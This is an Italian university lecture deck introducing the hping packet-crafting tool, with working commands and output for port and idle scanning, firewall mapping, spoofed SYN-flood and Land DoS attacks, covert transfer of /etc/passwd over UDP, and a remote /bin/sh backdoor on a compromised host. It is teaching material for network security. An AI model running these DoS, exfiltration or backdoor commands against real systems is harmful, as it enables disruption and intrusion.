Università degli Studi di Milano Facoltà di Scienze Matematiche, Fisiche e Naturali Anno Accademico 2007/2008 Introduzione ad hping Roberto Paleari 2-4 Settembre 2008 Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 1 / 21
Sommario 1 Funzionalità hping 2 scanning servizi di rete 3 Firewall mapping 4 hping come tool DoS 5 Trasferimento file via ICMP, UDP, TCP 6 hping come Trojan Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 2 / 21
Sommario 1 Funzionalità hping 2 scanning servizi di rete 3 Firewall mapping 4 hping come tool DoS 5 Trasferimento file via ICMP, UDP, TCP 6 hping come Trojan Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 2 / 21
Sommario 1 Funzionalità hping 2 scanning servizi di rete 3 Firewall mapping 4 hping come tool DoS 5 Trasferimento file via ICMP, UDP, TCP 6 hping come Trojan Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 2 / 21
Sommario 1 Funzionalità hping 2 scanning servizi di rete 3 Firewall mapping 4 hping come tool DoS 5 Trasferimento file via ICMP, UDP, TCP 6 hping come Trojan Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 2 / 21
Sommario 1 Funzionalità hping 2 scanning servizi di rete 3 Firewall mapping 4 hping come tool DoS 5 Trasferimento file via ICMP, UDP, TCP 6 hping come Trojan Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 2 / 21
Sommario 1 Funzionalità hping 2 scanning servizi di rete 3 Firewall mapping 4 hping come tool DoS 5 Trasferimento file via ICMP, UDP, TCP 6 hping come Trojan Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 2 / 21
Introduzione hping Caratteristiche del tool hping è uno strumento di rete capace sia di creare pacchetti di rete sia di sniffare pacchetti hping gestisce la frammentazione, gestisce pacchetti di grandezza arbitraria e l incapsulamento di protocolli portabile su molte architetture UNIX-like: Linux, FreeBSD, NetBSD, OpenBSD, Solaris, MacOs X creato e sviluppato da un Italiano (Salvatore Sanfilippo a.k.a. antirez) Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 3 / 21
Funzionalità dello strumento hping Funzionalità hping testing di Firewall tecnica di scanning avanzata test delle reti, utilizzando diversi protocolli, TOS, frammentazione path MTU discovery manuale traceroute avanzato, con supporto a tutti i protocolli remote OS fingerprinting remote uptime guessing TCP/IP stack auditing strumento didattico per la comprensione dei protocolli di rete Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 4 / 21
hping come scanner (1) L attività di scanning del sistema permette ad un attaccante di reperire informazioni su quali porte (servizi di rete) sono aperti o filtrati sull host vittima. Esempio di Syn scan # hping -S idea.sec.dico.unimi.it -p 80 HPING idea.sec.dico.unimi.it (ppp0 159.149.155.69):... len=44 ip=159.149.155.69 ttl=50 DF id=0 sport=80 flags=sa seq=0 len=44 ip=159.149.155.69 ttl=50 DF id=0 sport=80 flags=sa seq=1... Se la risposta di ritorno contiene SA (syn/ack) allora la porta è aperta, se la risposta è RA (reset/ack) allora la porta è chiusa. Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 5 / 21
hping come scanner (2) Con hping si possono specificare tutti i flag TCP coinvolti per poter effettuare altri tipi di stealth scan: -F fin imposta FIN flag -S syn imposta SYN flag -R rst imposta RST flag -P push imposta PUSH flag -A ack imposta ACK flag -U urg imposta URG flag -X xmas imposta X flag -F ymas imposta Y flag Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 6 / 21
hping come scanner (3) Per poter effettuare l attività di scanning su diverse porte della macchina vittima tramite hping possiamo eseguire il seguente comando: # hping -S idea.sec.dico.unimi.it -p ++22 HPING idea.sec.dico.unimi.it (ppp0 159.149.155.69): len=40 ip=159.149.155.69 ttl=241 DF id=0 sport=22 flags=ra seq=0 len=40 ip=159.149.155.69 ttl=241 DF id=0 sport=23 flags=ra seq=1... Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 7 / 21
hping come scanner (4) Con hping si possono specificare tutti le opzioni del TCP potendo creare tutte le tecniche di scan: opzioni TCP -s baseport porta sorgente -p destport porta destinazione -w win grandezza finestra TCP -Q seqnum mostra numero di sequenza -b badcheck pachetto con checksum errato -M setseq imposta il numero di sequenza TCP -L setack imposta TCP ack Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 8 / 21
Idle scanning (1) L idle scan è una nuova tipologia di scanning inventata dallo stesso autore di hping, antirez. Ipotesi per L Idle scan (1) tre attori: il server vittima, una macchina chiamata Dumb, e la macchina da cui viene effettuato lo scan la macchina Dumb, incrementa in modo sequenziale l ID (Identification) la macchina Dumb non deve generare altro tipo di traffico di rete possibilità di effettuare lo spoofing tra la macchina server e la macchina da cui parte lo scan Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 9 / 21
Scenario: Idle scan Scenario L Idle scan la macchina da cui parte lo scan, pinga continuamente la macchina Dumb, e vede nei pacchetti di ritorno la risposta con id incrementato di 1 la macchina scan invia un pacchetto spoofato, indirizzo sorgente della macchina Dumb, TCP con syn attivato su una determinata porta all host vittima Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 10 / 21
Scenario: Idle scan (2) Scenario L Idle scan (2) si possono ricevere due tipo di risposte: SYN/ACK o RST, nel caso di RST, la macchina Dumb non creerà nessun nuovo pacchetto e cosi l ID rimarrà uguale nel caso del SYN/ACK la macchina Dumb, risponderà con un RST e l ID sarà incrementato di 1 Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 11 / 21
Scenario d esempio Scenario d esempio Attacker Syn Reset and Seq number Dumb Syn and IP spoofed None or Ack Victim Reset or Syn/Ack Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 12 / 21
Comandi hping: Idle scan Di seguito si vede la comunicazione con la macchina Dumb e lo spoofing del pacchetto inviato dall attaccante verso la vittima: # hping -I eth0 -SA -r 192.168.10.1 HPING 192.168.10.1 (eth0 192.168.10.1): SA set, 40 headers + 0 data bytes len=46 ip=192.168.10.1 flags=r seq=0 ttl=255 id=18 win=0... len=46 ip=192.168.10.1 flags=r seq=1 ttl=255 id=+1 win=0... len=46 ip=192.168.10.1 flags=r seq=2 ttl=255 id=+1 win=0...... # hping -I eth0 -a 192.168.10.1 -S 192.168.10.33 -p ++20 HPING 192.168.10.33 (eth0 192.168.10.33): S set, 40 headers + 0 data bytes... Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 13 / 21
Comandi hping: Idle scan La continua comunicazione con la macchina Dumb mostra che la porta 21 nel server vittima risulta nello stato open: # hping -I eth0 -r -S 192.168.10.1 -p ++20 HPING 192.168.10.1 (eth0 192.168.10.1): S set, 40 headers + 0 data bytes len=46 ip=192.168.10.1 flags=ra seq=86 ttl=255 id=+1 win=0... len=46 ip=192.168.10.1 flags=ra seq=87 ttl=255 id=+2 win=0... (port 21) Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 14 / 21
Firewall mapping con hping Questa tecnica è utilizzata, per poter comprendere una topologia della rete, capire se ci sono firewall, funzionalità di traceroute. # hping3 -z -t 1 -S idea.sec.dico.unimi.it -p 22 TTL 0 during transit from ip=192.168.200.3 3: TTL 0 during transit from ip=151.6.25.67... 13: TTL 0 during transit from ip=159.149.99.18 14: TTL 0 during transit from ip=159.149.129.2 16: len=40 ip=159.149.155.69 ttl=240 DF id=0 sport=22 flags=ra seq=16 win=0 rtt=73.9 ms Con questa tecnica si implementa il firewalking, potendo utilizzare però tutti i protocolli. Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 15 / 21
syn attack hping può essere usato come tool DoS per testare IDS e firewall. Un esempio può essere SYN attack. Con il seguente comando si effettua un attacco DoS # hping -a 192.168.200.2 -S 192.168.200.3 -p 80 -i u1000 -a spoof hostname, setta l indirizzo sorgente del host -S flag syn attivato -p porta destinazione -i intervallo di tempo per la spedizione dei pacchetti, e.g. u1000 (1000 microsecondi). Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 16 / 21
Land attack Un altro esempio di DoS, come consumo di risorse del sistema si può eseguire il seguente comando: # hping -S -a 192.168.200.2 192.168.200.2 -p 80 -i u1000 -a spoof hostname, setta l indirizzo sorgente del host -p porta destinazione -i intervallo di tempo per la spedizione dei pacchetti, e.g. u1000 (1000 microsecondi). Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 17 / 21
Spoofing control hping può essere utilizzato per testare la protezione dello spoofing su un firewall. # hping -S -a 192.168.200.2 159.149.153.2 -p 80 -i u1000 -S flag syn attivato -a indirizzo sorgente -p porta destinazione -i intervallo temporale di invio pacchetti Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 18 / 21
Trasferimento file È inoltre possibile inserire delle signature, valori ascii all interno del campo dati dei pacchetti. [host_a] # hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd [host_b] # hping2 host_a --listen signature --safe --udp sign inserisce la signature ascii nel campo data safe ritrasmissione dei pacchetti persi (e.g. UDP) file dati da trasmettere nel campo data Quando i dati arrivano dalla parte dell host B viene eseguito il dump dalla signature in poi. Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 19 / 21
hping come Trojan (1) può essere usato come backdoor, su una macchina compromessa. victim# hping -I eth0 --listen mysign /bin/sh evil$ telnet victim 25 Trying 192.168.1.1... Connected to nano (192.168.1.1). Escape character is ^]. 220 nano.marmoc.net ESMTP Sendmail mysignls; Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 20 / 21
hping come Trojan(2) Nel host vittima verrà mostrato l output del comando victim# hping -I eth0-9 mysign /bin/sh hping2 listen mode bin cdrom etc home local-home mnt root tmp var boot dev export lib lost+found proc sbin usr Roberto Paleari Introduzione ad hping 2-4 Settembre 2008 21 / 21